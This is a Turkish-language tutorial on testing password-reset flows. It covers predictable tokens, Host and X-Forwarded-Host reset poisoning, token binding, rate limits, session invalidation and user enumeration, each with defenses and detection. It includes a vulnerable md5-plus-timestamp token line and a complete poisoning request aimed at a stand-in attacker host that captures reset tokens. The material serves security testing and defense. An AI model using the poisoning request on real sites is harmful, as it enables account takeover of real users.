Parola sıfırlama zincirleri

Giriş formunu sıkılaştıran ekipler sıfırlama akışını çoğu zaman aceleye getirir. Oysa akış aynı kapıyı açar. Jetonu ele geçiren kişi parolayı belirler ve hesabın sahibi olur. Sıfırlama akışını test etmek için önce onu bir zincir olarak çizersin: istek, jeton üretimi, e-posta, bağlantı, doğrulama ve parola değişimi.

Her halkanın kendi hata biçimi vardır. Zinciri çizmeden yapılan test dağınık kalır. Akış şeması çıkarırsan hangi adımda hangi değerin kontrol edildiğini görürsün ve eksik kontrol genelde şemada boş kalan kutuda durur.

Akışı tek bir kullanıcı hikâyesi olarak yazmak faydalıdır. Kullanıcı parolayı unutur, sıfırlar ve geri döner. Her adımda ne kontrol edildiğini bu hikâye üstünde işaretlersin.

İstek adımında kim, hangi hesap için sıfırlama başlatabiliyor? Jeton üretiminde jeton nasıl türetiliyor? E-posta adımında bağlantı adresi nereden kuruluyor? Doğrulama adımında jeton hangi hesaba bağlanıyor?

Parola değişiminde eski oturumlara ne oluyor? Bu beş soru zincirin beş halkasıdır. Her halka bağımsız kontrol ister; birini sağlam yapıp diğerini atlamak, kilitli bir kapının yanındaki açık pencere gibidir. Testte halkaları tek tek yürür, hiçbirini varsayımla geçmezsin.

Bu bakış, giriş ekranıyla sıfırlama akışı arasındaki ilişkiyi de netleştirir. İkisi aynı hesaba açılan iki kapıdır.

Giriş kapısını üç kilitle güçlendirip sıfırlama kapısını yarı açık bırakmak, saldırganı doğrudan zayıf tarafa yönlendirir. Bu yüzden bir hesabın gücü, en zayıf kimlik kanıtlama yoluna eşittir. Sıfırlama akışını test ederken hep bu soruyu sorarsın: bu adım, parolayı bilmeyen birinin hesaba girmesine yardım eder mi?

İlk halka jeton üretimidir. Sıfırlama bağlantısı bu jetonu taşır ve jetonu bilen herkes parolayı değiştirebilir. Bu yüzden jeton tahmin edilemez olmalıdır. Üretim tahmin edilebilirse, saldırganın e-posta adresini ve yaklaşık istek anını bilmesi yeterli olur; geri kalanı deneme yanılmayla kapanan dar bir aralıktır.

Zaman damgası, kullanıcı kimliği ya da artan sayaç üstüne kurulan bir yöntem işte bu dar arama uzayını bırakır. Kriptografik olarak güvenli bir rastgele üreticiden gelen uzun bir jeton ise bu aralığı pratikte denenemez hâle getirir. Fark, kütüphane seçiminde değil, tohumun tahmin edilebilirliğindedir.

# Zafiyetli: tohum tahmin edilebilir
jeton = md5(eposta + str(int(time.time())))

# Sağlam: kriptografik rastgelelik
jeton = secrets.token_urlsafe(32)

Aradaki farkı somut olarak gör. Üstteki satır jetonu, kullanıcının e-postasıyla o anki saniyeyi birleştirip özetliyor. Saldırgan e-postayı zaten biliyor; istek anını da birkaç saniyelik pencereye indirebiliyor.

Geriye kalan, o pencere içindeki her saniye değeri için özet hesaplayıp denemek. Bu bir avuç deneme demek. Alttaki satır ise otuz iki baytlık kriptografik rastgelelik üretiyor; burada tahmin edilecek bir kalıp yok. Aynı mantık kısa sayısal kodlar için de geçerlidir.

Kod ne kadar kısaysa arama uzayı o kadar dardır. Bu yüzden kısa kodun yanında sıkı bir hız sınırı ve kısa bir ömür bulunur. Jetonu doğrudan e-postaya düz metin yazmak da ayrı bir hatadır.

İkinci halka bağlantının nasıl kurulduğudur. Bazı uygulamalar e-postadaki adresi isteğin Host başlığından üretir. Saldırgan kendi alan adını bu başlığa yazar.

Kurbana giden e-postadaki bağlantı, jetonu saldırganın sunucusuna taşır. Bu tekniğe parola sıfırlama zehirlenmesi denir. Host başlığını doğrudan değiştiremediğin durumlarda X-Forwarded-Host gibi ara sunucu başlıkları da aynı sonucu verebilir, çünkü bazı uygulamalar bağlantı adresini bu başlıktan okur. Zincir tamamlanınca kurban güvendiği siteden gelen bir e-postayı açar, bağlantıya tıklar ve jetonunu farkında olmadan saldırgana yollar.

POST /parola/sifirla HTTP/1.1
Host: hesap.altaykargo.test
X-Forwarded-Host: yakala.saldirgan.test
Content-Type: application/json

{"eposta":"[email protected]"}

HTTP/1.1 200 OK
{"mesaj":"Bağlantı e-posta ile gönderildi"}

# test1 posta kutusuna düşen bağlantı
https://yakala.saldirgan.test/parola/yeni?jeton=Q7pX2c...

# Uygulama kaydı
2026-09-30T10:14:02Z sifirlama_baglantisi hesap=test1 ana_bilgisayar=yakala.saldirgan.test beklenen=hesap.altaykargo.test

Örneği satır satır oku. İstek, test hesabın için sıradan bir sıfırlama isteğidir. Tek fark X-Forwarded-Host satırıdır. Sunucunun yanıtı hiçbir şey ele vermez, her zamanki 200 ve aynı mesaj döner.

Asıl kanıt posta kutusundadır: bağlantı hesap.altaykargo.test yerine yakala.saldirgan.test adresine gidiyor. Gerçek bir kurban bu bağlantıya tıklasa, jeton saldırganın sunucu kayıtlarına düşerdi. Testte o adres senin kontrol ettiğin bir toplama sunucusudur ve denemeyi yalnız kendi test hesabınla yaparsın. Son satır savunma tarafının gördüğü izdir: uygulama, ürettiği bağlantının ana bilgisayarını beklenen değerle yan yana yazıyor.

Savunma bu halkada nettir. Bağlantı adresi kullanıcı isteğinden değil, sunucu yapılandırmasından gelir. Adres ya koda sabitlenir ya da güvenilir alan adları listesine göre doğrulanır. Böylece istekteki başlık ne olursa olsun, e-postadaki bağlantı hep doğru siteye çıkar.

Bir de sıfırlama sayfasına, yönlendiren bilgisini sızdırmayan bir başlık koymak gerekir. Sayfa dış bir kaynak yüklerse, adresteki jeton o isteğin yönlendiren başlığında dışarı çıkabilir. Referrer-Policy başlığını sıkı bir değere ayarlamak bu sızıntıyı keser. Sıfırlama e-postasının içeriği de gözden geçirilir: jetonun kendisi düz metin yazılmaz, yalnız tek bir bağlantı ve kısa bir açıklama yer alır.

Örnekteki kayıt satırı tespitin temelidir. Sunucu her sıfırlama bağlantısının hangi alan adına gittiğini yazarsa, beklenen alan adı dışına çıkan bağlantı hemen göze çarpar. Gelen isteklerdeki Host ve X-Forwarded-Host değerlerini de beklenen bir listeyle karşılaştırırsın.

Listede olmayan bir ana bilgisayar adı ya yanlış yapılandırmanın ya da bir kurcalama denemesinin işaretidir. Bu işaret bir alarma bağlanır. Test ederken bıraktığın bu iz, savunma ekibinin de yakalayabileceği izdir. Bulguyu raporlarken hem zehirlenmiş isteği hem de bu tespit fırsatını göstermek, düzeltmenin önceliğini yükseltir.

Jetonun kullanıcıya bağlanması ayrı bir kontroldür. Bazı akışlarda jeton geçerlidir ama hangi hesaba ait olduğu istekteki e-posta alanından okunur. O alanı değiştiren kişi, kendi jetonuyla başka hesabın parolasını belirler. Buna yakın bir sorun da adım atlamadır.

Çok adımlı bir akışta, doğrulama kodunu geçmeden son adıma doğrudan istek atılırsa ne olur? Sunucu her adımda önceki adımın gerçekten tamamlandığını ayrıca kontrol etmelidir. Jeton doğru hesaba bağlı değilse ya da adım sırası zorunlu tutulmuyorsa, tek başına geçerli bir jeton bile hesap devralmaya yeter. Bu yüzden jeton hem hesaba hem de akışın belirli bir adımına bağlanır.

Hız sınırı da akışa dahildir. Sıfırlama isteği sınırsızsa hem posta kutusu doldurulur hem de kısa jetonlar kaba kuvvetle denenir. Kısa sayısal kodlar bu yüzden ayrı bir tasarım sorunudur. Altı haneli bir kod kullanışlıdır ama arama uzayı dardır.

Deneme sayısı sınırlanmalı, kod kısa sürede ölmeli ve birkaç yanlış denemeden sonra akış iptal edilmelidir. NIST 800-63B-4, doğrulayıcı sırrı 64 bitten kısaysa hız sınırını zorunlu tutar. Tek bir hesapta aynı doğrulayıcıyla yapılan ardışık başarısız denemeleri de en çok yüzle sınırlar. Bu sayı bir üst sınırdır; daha düşük bir eşik seçmek daha güvenlidir.

Bu maddeleri gerçek bir akışta bir arada görmek faydalıdır. Sağlam bir sıfırlama şöyle işler: jeton kriptografik olarak rastgele üretilir, yalnız o hesaba bağlanır, kısa ömürlüdür ve tek kullanımlıktır. Bağlantı adresi sunucu yapılandırmasından gelir. Kod ya da jeton için deneme sayısı sınırlıdır.

Sıfırlama bitince o hesabın tüm oturumları düşer ve kullanıcıya bir bilgilendirme e-postası gider. Bu maddelerin her biri ayrı bir halkayı korur; biri eksikse zincir o noktadan kırılır. Test raporunda akışı bu maddelere göre satır satır işaretlemek, hem bulunan boşluğu hem de eksik kalan kontrolleri tek bakışta gösterir.

Üçüncü halka sıfırlama sonrasıdır. Parola değişti diye erişim otomatik kesilmez. Hesabı ele geçiren kişinin oturumu ayakta kalırsa, kurban parolayı yeniler ama yine de dışarıda kalır, çünkü davetsiz misafir eski oturum çereziyle içeride durur. Bu yüzden sıfırlama tamamlanınca o hesabın bütün oturumları düşürülür ve kullanıcıya parolanın değiştiğini bildiren bir e-posta gider.

Bu bildirim, hesap devralmayı erken fark ettiren en ucuz kontroldür. Jetonun tek kullanımlık olması da bu halkada uygulanır: kullanıldığında kayıt silinir ya da işaretlenir, yalnız süre kontrolüne güvenilmez. Aksi halde aynı bağlantı posta kutusundan tekrar tekrar kullanılabilir.

Küçük ama önemli bir ayrıntı yanıt metnidir. Sıfırlama formu geçerli bir e-postada farklı, geçersizde farklı mesaj dönerse, saldırgan hangi adreslerin kayıtlı olduğunu tek tek çıkarır. Buna kullanıcı numaralandırma denir. Yanıt her durumda aynı olmalı ve yaklaşık aynı sürede dönmelidir; yoksa zamanlama farkı da adresi ele verir.

OWASP forgot password kılavuzu bunu açıkça söyler: var olan ve olmayan hesap için aynı mesajı döndür ve yanıt süresini eşitle. Aynı kılavuz, sıfırlamadan sonra kullanıcıyı otomatik olarak içeri almamayı önerir. Var olan oturumları kendiliğinden kapatmayı ya da bunu kullanıcıya sormayı da ister.

Aynı numaralandırma tuzağı yalnız sıfırlama formunda değil, kayıt ve giriş yollarında da açılır. OWASP Top 10:2025 listesi kimlik doğrulama hatalarını yedinci sırada tutar ve tam bu noktayı vurgular.

Kayıt, kimlik kurtarma ve programlama arayüzü yolları her sonuç için aynı mesajı döndürür. Böylece hesap sayımı denemesi boşa çıkar. Yani sistemin her kapısında aynı disiplin uygulanır.

Bir kapıda geçerli ve geçersiz hesabı ayırt eden tek bir farklı yanıt, saldırganın kullanıcı listesini çıkarmasına yeter. Test ederken bu üç yolu birlikte denemek, tek bir tutarsız yanıtı yakalamanın en hızlı yoludur.